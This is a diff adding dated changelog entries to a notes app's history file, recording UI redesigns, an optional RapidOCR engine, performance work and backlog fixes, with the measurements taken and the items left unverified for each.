+  back to how it was before this run changed it" (before the grammar fix),
+  Undo put the note's text and tags back and removed the button, 0 page
+  errors.
+- **Not verified**: a real skill run's span with a model (none in this
+  sandbox), so the button inside a live run's "What changed" was not seen
+  drawn; a chat turn writing in another window during the run would fall
+  inside the span (the confirm names every note it would touch).
+
+## Moved from the plans, 2026-10-05 (row 31 item 97, RapidOCR as an optional extra)
+
+WORLD_CLASS_PLAN row 31 item 97, the owner asking for an OCR alternative to
+pytesseract. Built by op4-1005 at the orchestrator's brief as an optional
+extra through `core/extras.py`, never a required dependency.
+
+- **`core/ocr.py`**: `rapidocr_available()` (a `find_spec` look at
+  `rapidocr_onnxruntime` or the 2.x `rapidocr`), `engine()` ("tesseract"
+  when both its halves are ready, the default whenever it is present;
+  "rapidocr" when Tesseract is not ready and RapidOCR is installed; "" for
+  neither), `engine_name()`, `local_available()`. `extract_text` and
+  `extract_regions` dispatch on it. RapidOCR's lines are joined into blocks
+  (a line starting within 0.6 of a line's height under the last and
+  overlapping it sideways), headings by the same 1.45 height ratio as
+  Tesseract's, boxes normalised to 0..1. The reader is built once per
+  process (`lru_cache`). Both result shapes are read (1.x `(result,
+  elapse)`, 2.x `boxes/txts/scores`). `engine_status()` adds `engine`,
+  `engine_name` and `rapidocr`; `ready` means some engine reads.
+- **The stable id**: "tesseract" stays the local reader's id in stored
+  readings, page reads, `source` and the reader picker's value, whichever
+  engine read; `extract_regions` adds `engine: "rapidocr"`. Renaming a stored
+  id would split one reader in two for every row written before.
+- **The callers**: `/capabilities` `features.ocr.tesseract` is
+  `local_available()` (plus `engine`); `/models/status`
+  `tesseract_available` is `local_available()` (plus `ocr_engine`, the name);
+  `routes_files.py`'s "either reader works", "switch to" and "could not mark"
+  sentences, the page-read job's model name and the empty-page message name
+  the engine that reads. Two tests that stubbed only the program
+  (`test_ocr_regions.py`, `test_ocr_pdf_regions.py`) now stub the wrapper
+  too: a reader is named only when it can read, which the program alone
+  cannot. `extras._installed("ocr")` stays Tesseract's own two halves.
+- **The extra**: "Read images without Tesseract (RapidOCR)",
+  `rapidocr_onnxruntime`, about 60 MB, caveat that its models read English
+  and Chinese and the Tesseract language does not apply. In the Vision
+  bundle beside Tesseract (`tests/test_extras_bundles.py` wants every extra
+  in a bundle; the reason it belongs there is that Tesseract's system program
+  is the half an install most often fails to fetch). README's Packages table
+  and its OCR sentence name it.
+- **The UI**: the OCR workspace's reader option, its engine line ("RapidOCR
+  is ready", no language picker, since the language is Tesseract's), the
+  reading's source badge and title, the positions hint and the Library's
+  "Read text (... OCR)" rows name the engine. Settings mounts the engine line
+  under Tesseract's own Packages row, so there it stays hidden unless
+  Tesseract is the engine. The Guide's two OCR topics say so.
+- **Measured**: `tests/test_ocr_rapidocr.py`, 9 tests with a fake module in
+  `sys.modules` (no RapidOCR in this sandbox); the OCR, extras, help and
+  manual suites (about 400 tests) pass. In the browser (port 8807, 1440,
+  light), with `/ocr-readers` answered as a ready RapidOCR: the reader option
+  "RapidOCR (fast, on-page positions)", the engine line "RapidOCR is ready
+  Manage", no language select, 0 page errors; unfaked, the line is the old
+  "Tesseract can't read yet ... Install Tesseract".
+- **Not verified**: a real RapidOCR install and read (not installed into the
+  shared sandbox venv: onnxruntime and OpenCV are about 100 MB); its accuracy
+  against Tesseract's on a real page; the bulk Vision install with both.
+
+## Moved from the plans, 2026-10-05 (UI_MODERNISATION_PLAN: the attach picker's tiles)
+
+The placed row: "The picker's other four sources have no thumbnail
+(documents, files, maps)". Built in one commit rather than one per source:
+the change is one optional `face` per source in `notePickerShape`
+(chat-attach.js) and one line in `notePickerRow`, and the three share the
+fallback. A map's row draws `mapPreview(row, { size: "row" })` (the Library's
+row-sized preview; an empty map draws the shared ghost); a file's row draws
+its PDF's first page where the server can (`has_pages`,
+`/files/{id}/pdf-page/0`, the Library Files row's own test and URL) and puts
+its type glyph back when the page fails to load; a document has no rendered
+page anywhere in the app, so its tile says its kind instead (prose
+`ph:file-text`, a table `ph:table`, code `ph:file-code`, on `file_type`).
+Every face fills the one 2rem tile (`.rich-picker-tile-face > :is(img, svg)`,
+05-sidebars-themes.css). Measured at 1440 (a picker probe): notes, documents
+and maps rows 53 to 54px with a 32x32 tile, the map's preview 30x30 inside
+it; a Files row seeded with `has_pages` and a missing file drew an `img`,
+then `ph-file-pdf` in a 32px tile once the request failed; 0 page errors.
+`tests/test_ui_recipes.py::test_the_attach_picker_rows_show_what_they_hold`.
+The faces cost 182 bytes of boot gzip against 7 of headroom, so the panel's
+list renderer moved to the lazy `attachTo` file (`renderNotePickerList` and
+its fetch `notePickerRows`, now in attach-to.js behind a stand-in; every
+caller fires it and forgets): chat-attach.js 19,031 to 18,403 bytes served
+gzip. `notePickerRow` and the shapes stay at boot, since the whiteboard's
+pickers draw the same row synchronously. The probes above were re-run after
+the move with the same numbers.
+Not verified: a real PDF's first page in the tile (this sandbox has no PDF
+render extra, so `has_pages` is false for every file).
+
+## Moved from the plans, 2026-10-05 (UI_MODERNISATION_PLAN: the Files rows' two rhythms, a measuring error)
+
+The placed row ("a described row leaves 50.3px of slack under its last block,
+an undescribed one 24.8px") was the sweep's. `imagecardfoot.js` took a card's
+last block from inside `.library-image-fields` only, and a described file
+draws one more line after the fields, `.library-image-provenance` (a sibling
+of the fields, 180..205 in a 214px row); a Files row's thumbnail (144px) is
+ink too and sets the height of a row whose text is shorter than it. The probe
+now takes the lowest visible block in the card. Re-measured at 1440, light:
+Files rows 160px and 214px, the slack under the lowest ink 7px and 9px, which
+is the row's own 8px padding on both. Nothing in the CSS changed. The Images
+cards read 52.2 / 10.6 / 95.7px under their last line, which is INBOX 174's
+recorded decision (the picture is one size, 9rem; a taller neighbour's room
+goes under the card's own text), not this row's.
+
+## Moved from the plans, 2026-10-05 (UI_MODERNISATION_PLAN's built INBOX blocks)
+
+Marked built in UI_MODERNISATION_PLAN.md and still standing there whole; moved
+verbatim (op4-1005): a plan holds open work only.
+
+102. **Clear glass, and text on glass.** Built (2026-10-04) as the
+    recorded decision below it said; the block is in HISTORY.md ("Moved
+    from the plans, 2026-10-04 (the top bar mode and the glass recipe)").
+
+104. **The phone tab bar recedes on scroll** (icons only on scroll down,
+    full on scroll up), never hidden. Built (2026-09-13); the block is in
+    HISTORY.md ("Moved from the plans, 2026-09-13").
+
+60. **Dashboard "Jump to / Run a skill / stat tiles" section**: built, moved
+    to HISTORY.md ("Moved from the plans, 2026-09-09"). The band fills its own
+    width, carries a Continue pill and a fortnight sparkline, and every skill
+    pill says when it last ran.
+
+279. **The owner's four reports, 2026-09-20.** All four built (2026-09-20);
+    the block, with the before and after numbers at 1440, 1930, 1600 and 390,
+    is in HISTORY.md ("Moved from the plans, 2026-09-20"). The dashboard's
+    three densities keep the greeting and the one number and shrink the art
+    instead (heroes 157.2 / 99.6 / 47.2px, were 157.2 / 76.3 / 133.2); the
+    Timeline table's Title column stops halving when a row opens; the Files
+    sub-tab's reading block is two ranks and one control rather than four and
+    two, with the reading itself on screen; and a picture card's reading is one
+    `.library-chip` that opens the lightbox, so asking for the text no longer
+    grows the card from 240.7px to 416.3px and takes its five neighbours'
+    heights with it.
+
+186. **The timeline dock's kind buttons.** Built (2026-09-13); the block, with
+    its numbers, is in HISTORY.md ("Moved from the plans, 2026-09-13"). One
+    decision made here and not to be remade: a fixed filter set is a `.seg`
+    well and not a row of chips, because a chip is a filter you can take off
+    and these four are always all four. The variant is `.seg-multi` in
+    DESIGN.md's recipe index, with `tests/test_ui_recipes.py` holding it.
+
+165. **Mid-work drop, 2026-09-13, verbatim (the owner), the Library's selection
+    bar, one screenshot ("1 selected" with Open, Delete, Done).** "I want the
+    selected bars to be sticky to the top of the screen when scrolling".
+
+    **Built** (2026-09-13). One recipe for all seven bars, `.library-contextbar`
+    plus the new `.selectbar`, in DESIGN.md's recipe index with
+    `tests/test_ui_recipes.py` holding it: sticky at `--selectbar-top`, the
+    accent tint stacked over `--modal-bg-opaque` so the list cannot show
+    through it, and the Notes and timeline bars moved off their own hand-built
+    paint onto the shared strip. `--selectbar-top` is zero for every bar whose
+    scroller starts below its sub-tab strip, and `var(--notes-sticky-top)` on
+    `#tab-notes`, which is the trap commit 27167e3 records. The Library's own
+    "All" bar moved out of the controls card to be a child of the scrolling
+    section: sticky only travels as far as its own parent, and that card ends
+    above the grid. Measured with `scratchpad/ui-sweeps/selstick.js` in both
+    themes: before, the Notes bar at y=-465 with 677px of list scrolled; after,
+    four bars parked at their scroller's top edge (offset 0, and 56 under the
+    Notes strip) through 7,136px, 1,552px, 5,025px and 2,701px of scroll, and
+    the timeline's bar sticky over a table that pages rather than scrolls. 0
+    console errors, contrast.js 31 surfaces ok.
+
+    Found, not fixed: `selectMode` in app.js is one flag shared by the Notes
+    list and the timeline table, so leaving Notes in select mode turns the
+    timeline's own Select off on the first press. The sweep works round it and
+    records why.
+
+164. **Mid-work drop, 2026-09-13, verbatim (the owner), three surfaces, one
+    screenshot of a board card's preview (a wash of rounded blobs and one
+    squiggle over "3 cards, 8 sketches, 1 item").** "board previews need
+    upgrading and fixing, the graph minimap needs an upgrade, and the image
+    cards in the library images subtab need a massive improvement in ui and
+    ux." The fourth report on the picture cards; the third (145) was fixed the
+    same day, so this one is about what is left after it.
+
+    **Board previews: built** (2026-09-13). Three faults, each measured with
+    `scratchpad/ui-sweeps/boardpreview.js`, which seeds the owner's own board (3
+    cards, 8 sketches, 1 item) and exits non-zero on any of them.
+
+    - *The one squiggle.* A sketch is stored with `x = 0, y = 0` and its path in
+      absolute board coordinates, so the preview drew all eight at the board's
+      origin at one default size: 8 marks at 1 position, 1 size. The server
+      reads the stroke's own box now (`_sketch_preview`, the server's copy of
+      the canvas's `wbPathBBox`, and the reason it is a copy is written there)
+      and also sends the tool and the ink, so `mapPreviewSketch` draws a
+      rectangle as a rectangle, a circle as a circle, a line corner to corner
+      and a pen stroke as a scribble filling its box. After: 8 marks, 8
+      positions, 7 sizes, and 3 inks on the card where there was 1.
+    - *The blobs.* A block's corner was 0.35 of its own short side, measured at
+      8.66px on a 24.7px block, which is 35%: not a rounded rectangle and
+      nothing like the canvas's own 7%. Capped in the preview's nominal units as
+      well as by the fraction, so it is one corner at both sizes the preview
+      draws at. After: 2.35px, 8%.
+    - *The titles.* Three cards titled "Retry budget", "Ingest pipeline" and
+      "Open questions" drew "Retr…", "Inge…" and "Open…", because a label went
+      *inside* its block whenever five characters fitted. Inside is now for a
+      label that nearly all fits, which is the map topic it was built for; a
+      note's title goes beside its block, where the budget is 16 and it arrives
+      whole.
+
+    Also: a picture on the board takes the picture glyph and `--muted` rather
+    than a third shade of the same accent (it is the one item with no words of
+    its own, and the server deliberately sends no label for it). Regression
+    checks: `preview.js` on four cards (a map keeps its 6 labels, 2 inside, and
+    its 5 edges; contrast 4.77:1), `boardsthumb.js` unchanged at 72x40 with a
+    fill ratio of 0.852, `errors.js` 0 errors and 0 layout findings.
+
+    **The graph minimap: built** (2026-09-13), measured with
+    `scratchpad/ui-sweeps/graphminimap.js`, which seeds a hub-and-spokes notebook
+    and asks five questions of the panel.
+
+    Before, on a 192-note map with 39 links: 192 dots, **0 edges**, 0 marks for
+    the note in hand. The viewport rectangle and drag-to-pan were already right
+    (the frame moved 8.8px on a 260px pan; a drag across the panel moved the
+    canvas centre 23.6px) and are untouched. What was missing is the half that
+    makes an overview an overview: a scatter of points says where the notes are
+    and nothing about what is joined to what. The links are drawn under the dots
+    now, deduped (the adjacency map holds both directions) and built once per
+    render rather than once per paint, because a cooling layout paints every
+    eighth tick; the list is strided to a cap of 600 lines, evenly, for the same
+    reason the dots already are. And the note that is selected, or the one the
+    keyboard is on, takes a ring in `--ink`: the two pieces of state that already
+    mean "the one in hand", read rather than duplicated. After: 39 edges, 1 ring,
+    in both themes, 0 console errors.
+
+    Not verified: the drag-fps gate in `graph.js` reports 43.9 fps against its
+    own 55, with the renderer drawing in 5.30ms of a 16ms budget. That is the
+    sandbox limit HISTORY.md records under "What the gate does not meet, and why"
+    (7.9 fps with the layout hot, 59.2 with the worker stopped and nothing else
+    changed), not a cost of this change, but it was not measured against the base
+    branch this session.
+
+    **The picture cards, fourth report: the part that was broken is built**
+    (2026-09-13), measured with `scratchpad/ui-sweeps/imagecard4.js`, which asks
+    about use rather than paint (`imagecard3.js` still owns the geometry).
+
+    The fault: **the card's own action was pointer-only.** Opening the picture is
+    the whole point of a gallery, and it was a click handler on an `<img>` and
+    another on the filename. Measured on a resting card, the controls a keyboard
+    could reach were the selection tick and the Rename button: so a keyboard
+    could select a picture and rename it but could not open one, and a screen
+    reader was read the file's `alt` with nothing to say it did anything. The
+    thumbnail is now the control it already behaved like (`role="button"`,
+    `tabindex="0"`, "Open <name>", Enter and Space), with the ring drawn *inside*
+    the frame because the frame clips and an outside ring is clipped away
+    entirely. After: Tab reaches it, Enter opens the lightbox, the ring is 2px
+    solid accent at -4px, 0 console errors. The cursor was already `zoom-in`, so
+    the card was telling a pointer the truth and a keyboard nothing.
+
+    **Measured and deliberately not changed: the hole a row-mate's open fold
+    leaves.** At rest the row is right: seven cards all 240.7px tall with 1px
+    under the last line, and the picture taking the slack (229.1px on a card with
+    no caption against 144px on one with a caption and a reading). Open one card's
+    fold and the row goes to 411.1px: every picture grows to its 16rem ceiling and
+    the leftover becomes a hole of 59 to 145px under the other six cards' last
+    lines. That ceiling is the recorded decision (a 583px picture in a 176px
+    column was the alternative, and a two-row subgrid was built, measured and
+    taken back out because it put the same hole back at *rest*), so this is the
+    trade-off working as written rather than an oversight. The three ways out, for
+    whoever takes it next: a shorter fold body (11rem keeps about six lines and
+    was chosen for that), a taller picture ceiling (the poster), or a caption
+    clamp that grows into the slack (not expressible in CSS today).
+
+    Also fixed here: `imagecard3.js`'s open-to-shut ratio was taken across the
+    whole gallery, so on 182 cards it compared two different rows and reported
+    2.63 against its own limit of 2. The report it gates is about cards "side by
+    side", which is one grid row: row-scoped it reads 1.71, the figure commit
+    e5a0a19 recorded.
+
+## Moved from the plans, 2026-10-05 (UI_MODERNISATION_PLAN Phase 9, the status bar and quick access widths)
+
+The last two non-whiteboard rules of the 720 group (`agent-remaining/uimod-89.md`
+items 1 and 2) moved to 599.98: `00-tokens-shell.css`'s status bar trim
+(tighter padding and gap; its hiding of `#status-notes` and `#status-command`
+was already done from 600 to 819 by `10-responsive.css`'s tablet band) and
+`03-dashboard-widgets.css`'s quick access (`.dash-quicklinks`, `.launch-row`,
+`.quick-action`). The 900 group was already empty and its row is gone from
+`tests/test_breakpoints.py`; 719.98 is allowed 3, all the whiteboard's.
+Measured (a status bar probe at 390, 600, 620, 660, 700, 719, 760, 1440):
+the bar's `scrollWidth` equals its width at every one, page overflow 0, the
+only clipped item `#ai-status-label` (ellipsised by design) before and after;
+a quick action is 79px at 14.72px type from 600 to 760 (it was 78 or 60 at
+13.6px from 600 to 719, a step inside the band), 60px at 390 unchanged.
+
+## Moved from the plans, 2026-10-05 (the add path, second pass)
+
+Audit FEAT-02's 100ms gate, MINDMAP_PLAN decision 24. Traced with
+`scratchpad/ui-sweeps/mmd2-1005-maptrace.js` (every style recalculation and
+layout of one Tab with the script that forced it; `WHY=1` adds Chromium's
+invalidation reasons) and `mmd2-1005-mapmutations.js` (every DOM write).
+What one Tab at 301 topics cost, and what was done:
+
+| Cost (traced) | Cause | Change |
+| --- | --- | --- |
+| 4,700 icons restyled on every Tab | `.doc-ai-card > #doc-ai-verb label:has(input:checked) > .ph`: a `:has()` keyed on the class every icon wears | rewritten by the sibling (`input:checked + .ph`); three `.ph-lead` cousins rewritten with the `:has()` on the subject; `test_has_invalidation.py::test_no_has_is_keyed_only_on_a_class_everything_wears` |
+| 600 elements created and removed per render | the mid-line `+` buttons rebuilt every render | kept, keyed by their two ends, moved when their line's middle moves |
+| 28 to 49ms forced, 1,213 elements | `contenteditable="false"` set on every new label | not set at birth (it is the default) |
+| 37 to 63ms forced, 1,260 elements | the measure read every topic after the tidy's transforms were written | moves written after the measure, and only repainted topics measured |
+| 33 to 60ms forced, 2,100 elements | the selection bar read layout inside the add | placed two frames on (`wbSelectionBarDeferred`) |
+| 37 to 86ms forced, 1,550 elements | the editor's focus brought every pending move and line up to date first | the editor opens before the moves and lines are written, in the same task (`wbRenderHold`, `wbRenderRelease`) |
+| 12ms | the edge handles toggled one by one, twice | only the ones that change, found from the lines' cache |
+
+Measured with `mmd2-1005-mapab.sh` (the base commit's scripts and these,
+alternated on one server, ten adds each, load 7 to 10): render per add 122
+to 421ms before, 21 to 63ms after (one outlier 188); key to editable median
+265, 336, 351ms before against 185, 177, 276ms after. **Not met:** the
+100ms gate on this sandbox; the fastest adds were 117 to 125ms, and what is
+left is the moved map's own style pass in the frame and the machine's load.
+Gates: `mmdoc1005-mapchecks.js` 15/15, `boardundo.js` 43/43, `wbmapundo.js`

+whether the PNG and SVG exports draw the marks; the desktop window.
+
+## Moved from the plans, 2026-10-05 (the map's outline)
+
+### From MINDMAP_PLAN.md §12.2 item 8 (decision 33), the audit's M3
+
+| What | Before | After | Gate |
+| --- | --- | --- | --- |
+| View, Outline on a map: `#wb-map-outline` in the sidebar's place, a field per topic in tree order (`wbOutlineSync` after every render), Enter, Tab, Shift+Tab, Backspace, the arrows and Escape as an outliner's, every change through the canvas's own functions | no outline; a map was edited on the canvas only | 50 of 50 topics renamed from the outline drawn on the canvas within one frame and all 50 saved; a topic added with Enter typed in the outline; Tab under the topic above (level 3 to 4), Shift+Tab back right after it; Backspace on an empty one removes it; a canvas rename shows in its row; a board never shows the panel | `scratchpad/ui-sweeps/mmd2-1005-outline.js` 9/9 at 1440x900 light and 390x844 dark; `mmd2-1005-outlineshot.js` (rows 28px, clear of the top bar and the rail) |
+
+Help moved with it: the Guide's mind-map topic, the panel's own one-line hint,
+the palette row. Not built: the markers as outline columns (waits on §12.2
+item 4); folding in the outline (it lists every topic). Not verified: a
+screen reader on the tree (the rows are `treeitem`s holding a labelled
+field), the desktop window.
+
+## Moved from the plans, 2026-10-05 (the graph's payload cache)
+
+From GRAPH_PLAN "Still open after KG1 to KG9". `/graph` serves its encoded
+JSON from a cache while nothing it is made of has moved
+(`routes_graph._payload_key`): every column a node or an edge reads is
+hashed row by row (pins, access counts, categories, tags, parent, board
+settings, link reasons and types, attachments, map members, relation
+types), with the notebook fingerprint, today's date (a node's age), the
+similarity switch and whether this request may read private text. Content
+is not hashed; `updated_at` moves with it. The opt-in layers whose tables
+the key does not read (entities, documents, unresolved links, attachments
+as nodes) are built every time. Measured on the audit's 5,032-note
+notebook in process: p50 737 to 149 ms, the first build unchanged.
+`tests/test_graph_payload_cache.py` moves each input once and expects a
+fresh payload.
+
+## Moved from the plans, 2026-10-05 (INBOX 621 and 622: the header bars and the Settings navigation)
+
+### From UI_MODERNISATION_PLAN.md, "Placed from INBOX, 2026-10-05 (header bars, Settings navigation)"
+
+621. **The owner, 2026-10-05, verbatim.** "also idk but I feel like al lot of
+     these top header bars need  a better ui/ux restructuring or redesign as
+     they still dont feel professional or modern and more demo/vibe coded. as
+     well as the settings dropdown in the graph tab. it is not limited to the
+     attached screen shots, all of those bars across the application or
+     majority fo them need fixing up. idk you are teh expert" (screenshots:
+     the All notes, Questions, Graph, AI skills and Timeline docks.)
+     Decision taken (recommendation): one `.dock` redesign at the recipe,
+     not per surface. The title loses its divider and sits as the page head.
+     Counts become quiet muted text, not boxed pills. Search is a borderless
+     field with a leading icon. Icon buttons are 32px ghosts in one trailing
+     group. The single filled action stays last. Segmented controls are
+     drawn in one style. The graph settings popover is rebuilt from the
+     DESIGN.md popover recipe. DESIGN.md's dock section is updated and the
+     dock lint (`test_dock_grammar.py`) holds the new grammar. Placed: an
+     Opus design agent, after 616.
+622. **The owner, 2026-10-05, verbatim.** "also in settings idk if this
+     navigation is the right way to go about it. should it be redesigned
+     better??" (screenshot: Settings, Tools it can use: a horizontally
+     scrolling sub-tab strip with a visible scrollbar and a clipped last
+     label.)
+     Decision taken (recommendation): yes. A horizontally scrolling strip
+     hides options and shows a scrollbar. Replace the in-pane sub-tabs with
+     the pane's groups stacked under their group heads, and nest the active
+     pane's group links under it in the Settings sidebar (two levels, as in
+     VS Code and Linear settings). A click scrolls to the group, and the
+     active group is tracked on scroll. On a phone the sidebar's pane select
+     gains the groups. No horizontal scroll anywhere in Settings, held by a
+     lint. Placed: with 621.
+
+**Built** (the 1005 header-bars agent; DESIGN.md's dock row, its Settings
+index row and its pane-head row say the recipe now).
+
+- **621, the docks** (`6094967`): one grammar at the `.dock` recipe, so every
+  bar inherits it. No hairline between zones at any width (zones parted by
+  `--space-6`, `--space-4` below 600), so the title is the page head with no
+  divider; `.dock-chip` is quiet muted text with tabular figures, not a
+  bordered pill; every dock search is `div.search-field.dock-search` with its
+  magnifier, a `--field-inset` fill and no edge at rest (the accent edge and
+  ring on focus), the sort select the same quiet inset; worded ghosts at
+  weight 500; icon ghosts (32px, 44 by touch) one trailing run; the one filled
+  action last in twelve docks (markup moved, ids kept, `FAB_IDS` slots
+  unchanged); the chosen segment's ring the control edge in every look, the
+  radio form's glass-off well dropped, so one segmented style.
+  `markDockLineStarts` (phone-shell.js) and its CSS went with the hairlines.
+  `scratchpad/ui-sweeps/dockgrammar621.js` over all fifteen tab and sub-tab
+  docks: 59 fails at 1440 light, 58 dark, 26 at 390 light and dark before;
+  PASS in all four after. Phone dock heights unchanged. `test_dock_grammar.py`
+  holds it: the filled action closes the row, icons are one trailing run, a
+  dock search is the wrapped field with its icon, no zone hairline, a quiet
+  count, an edgeless field.
+- **621, the graph's display options** (`6094967`): the popover recipe. One
+  column (the two-column switch grid had two label edges and two control
+  edges), one control width (9.5rem for sliders and pickers), one section
+  head (the fold chevron at the far right, so every name stands on one edge),
+  the actions (Trace, Legend, Unpin all, Suggest links, Reset) as menu rows,
+  and Unpin all out of the Physics summary (`test_nested_interactive`'s
+  allowance is now empty). `graphpop621.js`: label lefts 2 to 1, control
+  right edges 2 to 1, head lefts 2 to 1, picker widths 4 to 1, controls in a
+  summary 1 to 0.
+- **622, Settings navigation**: the in-pane strip (`.settings-index`, which
+  scrolled sideways in ten panes at 1440 and seven at 390) is gone. The
+  active pane's group heads are the sidebar's second level
+  (`.settings-nav-groups` after the pane's `#settings-nav` link,
+  `settingsIndexBuild` in settings-find.js): a press scrolls the pane under
+  its sticky dock and focuses the head, the group you are reading is marked
+  from `aria-current` (ink, weight and an accent rail) as you scroll, and on a
+  phone `#settings-jump` gains the same groups as `pane#index` options and
+  follows the scroll. A Help topic name and the Web search snippet wrapped
+  instead of running the pane sideways at 390, and the account pane's
+  command block wraps. `settingsnav.js`: "nothing in Settings scrolls
+  sideways" fails before at 1440 and 390, passes after (light and dark);
+  press, focus, track and jump-list checks pass at both widths.
+  `tests/test_settings_no_sideways.py` holds the stylesheet half. Every
+  reveal target and help path unchanged (`test_help_settings_paths.py`,
+  `test_catalogue_reveal.py` pass); the Guide's "Finding your way round
+  Settings" topic says where the groups are now.
+- Boot CSS 183,199 to 183,174 gzip (cap 183,300, not raised); boot JS 701,507 to
+  701,266.
+
+## Moved from the plans, 2026-10-05 (small-1005: the small open items)
+
+Small, well-defined open items cleared in one pass; each line says how it was verified.
+
+- **BACKLOG 115 row 8, saved searches.** Built, the row still read "Next": `settings-wiring.js` (`renderSavedSearches`, `persistSavedSearches`, `saveCurrentSearch`) draws the `saved_searches` preference as chips under the Notes filter (`#saved-searches`), and `tests/test_keyword_search.py` `test_saved_searches_round_trip` pins the preference. The row now says so; `tests/test_backlog_status_rows.py` pins the row to that evidence.
+- **`scratchpad/ui-sweeps/editor.js` described the retired editor** (DOCUMENTS_PLAN placed row). Built: every read goes through `docSurface()`, the marks are `.cm-finding[data-doc-finding]`, Source is reached through Edit's chevron menu, undo is the view's one history. 78 of the old 89 checks remain, 78 pass at 1440 (run twice). Retired, with reasons in the sweep's header: the backdrop's geometry and ink, D3's stack depth, cap and coalesce constants, Live's per-paragraph boxes, the textarea gutter's padding and font-size match (INBOX 590 made the numbers smaller on purpose, so baselines are compared: 0.06px). New: the documents editor's own column is measured against `coordsAt` (constant 1.59px offset, no drift, also scrolled). Found while porting: Playwright's `Control+Shift+z` sends `event.key === "z"`, which CodeMirror reads as Ctrl+Z, so the old redo checks failed for the harness, not the app (`Control+Shift+Z` redoes). `tests/test_backlog_status_rows.py` `test_no_sweep_reads_the_retired_textarea_editor` keeps any sweep from reading the retired names again.
+- **`scratchpad/ui-sweeps/quickaccess.js` opened a row menu in `.launch-head`** (open-rows-1005, found-not-fixed). Built: INBOX 488 moved Customise to the dashboard dock (`#dash-customise`: "Edit quick access", "Reset quick access") and INBOX 524 made adding a checklist dialog (Done, Cancel, a refusal line at eight), so the sweep drives those; 24 checks pass at 1440 and 23 at 390 (the drag is a pointer's). `tests/test_backlog_status_rows.py` pins it off the old selectors.
+- **`mappan.js`'s rect sketch fixture logged "Expected moveto path command" twice** (open-rows-1005, found-not-fixed). Built: the fixture stored `{type, x, y, width, height}`; a shape sketch is a path, `{d: "M 140 320 h 200 v 140 h -200 Z", shape: "rect", color, width}`, the rectangle tool's own. The sweep now asserts "no console errors" (it did not assert on the page's log at all), 12 of 12 pass; the shape now has a body, so its gap to the note moved from 120 to -20 and held (drift 0.00px over 14 moves).
+- **`skeletons.js` read chat/conversations and documents/list at 390 as BLANK.** Both are expected (chat's list is answered at boot; the documents list is a drawer, closed below 600), so the sweep names them (`EXPECTED_BLANK`, with the reason and the width), takes `WIDTH=390`, and exits 1 only for a view that is missing, empty too soon or blank without being expected. Found, not fixed: library/docs reads BLANK at both widths (its text is the head and the property filter, no placeholder while the list is held), which needs a look at what that list does before its first answer.
+- **OPEN.md section A and the duplicated plan-tails table, pruned 2026-10-05.** Moved whole, so no account is lost; the ledger keeps one line each.
+
+  Section A's done rows:
+
+  | ~~238~~ | **Done 2026-09-19** (5a9c909, 128a731, 7e8d902). All three parts, with measurements in INBOX 238: the card clips its own text (`min-height: 0` plus `overflow: hidden` on `.wb-card-content`, and the "Show more" decided by the box rather than by a character count); the expanded set is in `localStorage`; and the export's line budget comes from the card's measured height (7 lines collapsed, 22 expanded, both were 6) with a `--warn` line in the dialog naming how many notes are collapsed. | done |
+  | ~~246~~ | **Done 2026-09-20.** Maps' own reference nodes counted (`_board_reference_rows`, both tables, one reader), `GET /entries/reference-counts` and the chip row on the card measured in Chromium (`refchips.js`), Connections telling maps from boards and listing every reference the chip counts. Record in HISTORY's INBOX 246. | done |
+  | ~~232~~ | **Mostly already built; measure before building any of it.** Checked on the branch head 2026-09-19 (`scratchpad` sweep, one document holding all of them): tables render as 6 `.cm-md-td` cells with **0 pipes on screen**, callouts as 2 `.cm-md-callout` lines with a label and **0 `[!note]` markers**, task lists as 2 real `<input type="checkbox">` with **0 `- [ ]` brackets**, and an image as a drawn `.cm-md-image` with **0 `![...]` syntax**; strikethrough, highlight, footnotes and maths all carry their marks too. The two things that were genuinely wrong are fixed: the code fence's empty rows (706e2af) and the chips that broke in half when they wrapped (2b94271). This row was stale, and rebuilding from it would have been the fourth time this project rebuilt something that existed. **Closed 2026-09-20.** The one line of the brief nobody had checked, "a header row with the language and a copy button", was measured before being written and is built: `renderMarkdown`'s `.code-bar` has carried the language, Copy and Save since INBOX 172, and a document with a `python` fence and an unlabelled one draws 2 bars, 4 buttons and the labels `python` and `code`. The live view keeps the corner label and no button, by the decision now in DOCUMENTS_PLAN section 15 (a control inside a contenteditable is a caret trap; the row it would hang from is 8px tall against a 36px line, measured, and that smallness is the 2026-09-19 fix). What the measurement found instead was the glyph in those labels, a typed `⧉` on a Copy button in an app that ships `ph:copy`: fixed at both call sites and added to `tests/test_no_glyph_icons.py`. `scratchpad/ui-sweeps/doccodecopy.js`, 11 of 11. | done |
+  | ~~253~~ | **Done 2026-09-20** (b062d0d, f0d478b, f24d8a5, 1f018d6). `start.sh`/`start.bat` self-repair a failed start once with no prompt; the venv health check imports the app itself; a Repair MemoryMap AI shortcut in the .exe installer and the MSI runs `--desktop --reinstall`. Record in HISTORY's INBOX 253. | done |
+  | ~~225~~ | **Done 2026-09-21.** The row was half right: the "the AI" half was swept and linted a week earlier, and the lint has held it since. "The assistant" was never covered, and eight pieces of copy still said it, five of them the Tools and features descriptions a person reads while learning the app. Reworded to name Atlas, and `tests/test_ai_name.py` now carries the second phrase, proved against a reintroduction. "The guide" is deliberately left out: that is a surface with a name. | done |
+
+  The second "B. Plan tails, by surface" table (the first block already says it moved):
+
+  **B. Plan tails, by surface**
+
+  | Plan | Still open |
+  | --- | --- |
+  | DOCUMENTS_PLAN | ~~Phase 4~~ closed 2026-09-20: the templates gallery was verified by `scratchpad/ui-sweeps/doctemplates.js` (six templates, each with a description), and item 5's daily notes were built from the decision in DOCUMENTS_PLAN section 14 and measured by `docdaily.js`, 11 of 11 (7 templates with Daily, the document titled with the ISO day, 0 "start today's note" offers beside a day already written as a document). What is left: the Phase 2, 6 and 8 tails and the engine's three deliberate omissions, in this file's Documents section. Everything else this row used to list was built or already existed: the Library's property filter, outline reorder with folding and a filter box, the command palette and shortcut sheet from one table, version history with its diff and its AI filter, the per-hunk AI diff, reading typography and the print stylesheet (all 2026-09-20 or earlier, each with its probe named in HISTORY.md). |
